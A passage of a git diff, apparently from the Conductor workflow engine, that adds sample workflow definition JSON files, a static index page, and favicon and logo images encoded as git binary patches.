"dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_5", + "taskReferenceName": "task_5", + "inputParameters": { + "mod": "task_4.output.mod", + "oddEven": "task_4.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_6", + "taskReferenceName": "task_6", + "inputParameters": { + "mod": "task_5.output.mod", + "oddEven": "task_5.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + "1": [ + { + "name": "task_7", + "taskReferenceName": "task_7", + "inputParameters": { + "mod": "task_3.output.mod", + "oddEven": "task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_8", + "taskReferenceName": "task_8", + "inputParameters": { + "mod": "task_7.output.mod", + "oddEven": "task_7.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_9", + "taskReferenceName": "task_9", + "inputParameters": { + "mod": "task_8.output.mod", + "oddEven": "task_8.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "task_8.output.mod" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "task_12", + "taskReferenceName": "task_12", + "inputParameters": { + "mod": "task_9.output.mod", + "oddEven": "task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_13", + "taskReferenceName": "task_13", + "inputParameters": { + "mod": "task_12.output.mod", + "oddEven": "task_12.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "task_12.output.mod", + "oddEven": "task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "callbackFromWorker": true, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "1": [ + { + "name": "task_15", + "taskReferenceName": "task_15", + "inputParameters": { + "mod": "task_9.output.mod", + "oddEven": "task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_16", + "taskReferenceName": "task_16", + "inputParameters": { + "mod": "task_15.output.mod", + "oddEven": "task_15.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "task_12.output.mod", + "oddEven": "task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "callbackFromWorker": true, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + } + ], + "4": [ + { + "name": "task_18", + "taskReferenceName": "task_18", + "inputParameters": { + "mod": "task_9.output.mod", + "oddEven": "task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_19", + "taskReferenceName": "task_19", + "inputParameters": { + "mod": "task_18.output.mod", + "oddEven": "task_18.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + "5": [ + { + "name": "task_21", + "taskReferenceName": "task_21", + "inputParameters": { + "mod": "task_9.output.mod", + "oddEven": "task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "task_12.output.mod", + "oddEven": "task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "callbackFromWorker": true, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "task_22", + "taskReferenceName": "task_22", + "inputParameters": { + "mod": "task_21.output.mod", + "oddEven": "task_21.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ] + }, + "defaultCase": [ + { + "name": "task_24", + "taskReferenceName": "task_24", + "inputParameters": { + "mod": "task_9.output.mod", + "oddEven": "task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "task_12.output.mod", + "oddEven": "task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "callbackFromWorker": true, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + } + }, + { + "name": "task_25", + "taskReferenceName": "task_25", + "inputParameters": { + "mod": "task_24.output.mod", + "oddEven": "task_24.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + "startDelay": 0, + "callbackFromWorker": true + } + ] + }, + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_28", + "taskReferenceName": "task_28", + "inputParameters": { + "mod": "task_3.output.mod", + "oddEven": "task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_29", + "taskReferenceName": "task_29", + "inputParameters": { + "mod": "task_28.output.mod", + "oddEven": "task_28.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_30", + "taskReferenceName": "task_30", + "inputParameters": { + "mod": "task_29.output.mod", + "oddEven": "task_29.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + "schemaVersion": 1 +} \ No newline at end of file diff --git a/rest/src/main/resources/kitchensink/wf2.json b/rest/src/main/resources/kitchensink/wf2.json new file mode 100644 index 0000000..b07115d --- /dev/null +++ b/rest/src/main/resources/kitchensink/wf2.json @@ -0,0 +1,91 @@ +{ + "createTime": 1477681181098, + "updateTime": 1478837752600, + "name": "sub_flow_1", + "description": "sub workflow", + "version": 1, + "tasks": [ + { + "name": "task_5", + "taskReferenceName": "task_5", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_28", + "taskReferenceName": "task_28", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "fork_join", + "taskReferenceName": "forkx", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "task_10", + "taskReferenceName": "task_10", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_11", + "taskReferenceName": "task_11", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + [ + { + "name": "task_20", + "taskReferenceName": "task_20", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "task_21", + "taskReferenceName": "task_21", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ] + ], + "startDelay": 0, + "callbackFromWorker": true + }, + { + "name": "join", + "taskReferenceName": "join", + "type": "JOIN", + "startDelay": 0, + "joinOn": [ + "task_21", + "task_11" + ], + "callbackFromWorker": true + }, + { + "name": "task_30", + "taskReferenceName": "task_30", + "type": "SIMPLE", + "startDelay": 0, + "callbackFromWorker": true + } + ], + "outputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "schemaVersion": 2 +} \ No newline at end of file diff --git a/rest/src/main/resources/static/favicon.ico b/rest/src/main/resources/static/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..b083672203d5a9120c5ab68007321a7666e1c4e6 GIT binary patch literal 16958 zcmds;ON(wyz?2eMCz>>s7Hk!CnG`cYEj2q*^=)#z|(2d3fbOwSZAfr6w zAq)?Pr{FLHMllFML0#yeaUwEC9!_=7!kv#`#sn$GySi$+4^EHO4Jl65?W%jv zSLgos+^V`rQU-sQEtBwPv9#ntNxB7lORz1&)`u;F^59Qj#mvUPwlea&tqlKQX~QS5 z4Or^&)uuA?yrqsjZp$MN%vXk%=B1H4B=Mcvz8)F(c2^`A?wdf^X#{r~L>OFiauHd{G%t(6vCeexMs^ZqXAWxv(U z(a!p<)IFQ$aM;DUt+bEWo^6#|oQHnc75uh-Ws$3uZwRhdtfPJJTgnGr!4KZ$tuWV~ zW2+|v9k$Z9X7e1;r#ZG+`>s~HSj*OYf5NwwLtVjNRJ^;J^VW}vj{3E4b_stW@2%(Z zTMFf%p)QF38M&A*{mSFN?3?m?0Xu21nYL#8caHAGxk)}aTImrUd)ar?&oS=r?+Sk8 z`~zHmOFjtgzu)ovMQPl?oc0=r-_?FZ-yZ<`(GKDtiq$B%pW?97xwiTVVn40@PS8K~ z)j0iQu78TlZz(&$Kdt@F;NRcCUyw?-VZQqhhu>Ad^^M%NI_-A`|6l`uF<*X(!%pW~ zc-ArHopstzKmQPX-qpZg(7iDp|AcSmHrM5SVoy6iY2TE0)bTrN=`J2S<@_&E&t~+2 z1J!ZAGx+zz@2z$Gt~T)|m*0~21=_ci!yUzMDTDBPQw@J_*3Em99DY~7ggV~BeT4Rv z>Aau*_*b-VWY<^u3)HGAjdqJnMbTRyJpPlvf%da&5dY;q-fzCZVW)HHIlroXHD3E^jlT)) zn{q|_#9zplMtS_6Z)8@Z@ARV{(*8)S_S493D#-iFZp5ylebNArou2d0q2KhOj*Z|? z)_xlKE%h++6||4MZ)AIYTRzU_H*>oJ?HhRJv6O>}u}>p^pnZ88_}7NoA7}Bq`W0N) zi|f}Q_B+s*lC_^s{=q=|J;?i%|G9nNQBHw>1+Jwz|Lz&JpEmwL`|z1^c28!N?>i6B-vQ54?CE*Ils92(u6^>Movd+nH*iL`n!o{i`kiL3o|@zb0ixeM?6 zxZ_?yFP)&iR?+_37)SRs9rr{(jO(NAEEDb4TYBE7IX~s>583>9H}GVIpYlHD{K~!# z<0tJ8!1sRW_yUg~@5Cf&bRO{=*--oH^!M%h``nlh+8OJ(y5sy2+Bb7MdF&YXkS7L3 zJC(dYfcQ7h`@#=#?Oa*WZmq36?{CI)>uEMWzK1+4d^d8?elX{6jB{;!wfo}Qxw5rw zSN4VWY23TS;-_yRwQGcF?2LZjZfvjq-pm!ZXea8A8NBPmnv9#u`Q>$@Ub6Jg%wlMt ze5t*DF7~7R^nQZA%RA~H=2Sz!Q}VG zYT0SuimYvES|ZHXxD`H9rYZW-_gpCCiy1n=GdgV+Erfl4eKxq`ehbBt#y~A zGjft|)w)w3f2>2giRb)6esW_HJC%11{}J^4Z&sJ?d1-~-FVkh0>{pPu5?DTsljDL=HGdaKXY`5?i z)Sp=YXQ!xnQ?_)~P8+{}eUa}^-S7L?rA1Rx#r~FHe+kQl{VY6=+P<(nYNfC|Vi$(T z!rmSpN9}^JJZf=I1HYpdw>l`FHLHj9MeTyHJZkR^%cJ&{uw2-w@Hk>K;c?XF!t$uq Q!g67)@HlF#ai-t@1y6F16aWAK literal 0 HcmV?d00001 diff --git a/rest/src/main/resources/static/index.html b/rest/src/main/resources/static/index.html new file mode 100644 index 0000000..db0d852 --- /dev/null +++ b/rest/src/main/resources/static/index.html @@ -0,0 +1,60 @@ + + + + + + Conductor + + + + + +

    +
    + Conductor Logo +
    +

    +     + +
    + + diff --git a/rest/src/main/resources/static/logo.png b/rest/src/main/resources/static/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..132d52cde44fe3585f280cdb69f7eb6d2ebc4249 GIT binary patch literal 22312 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 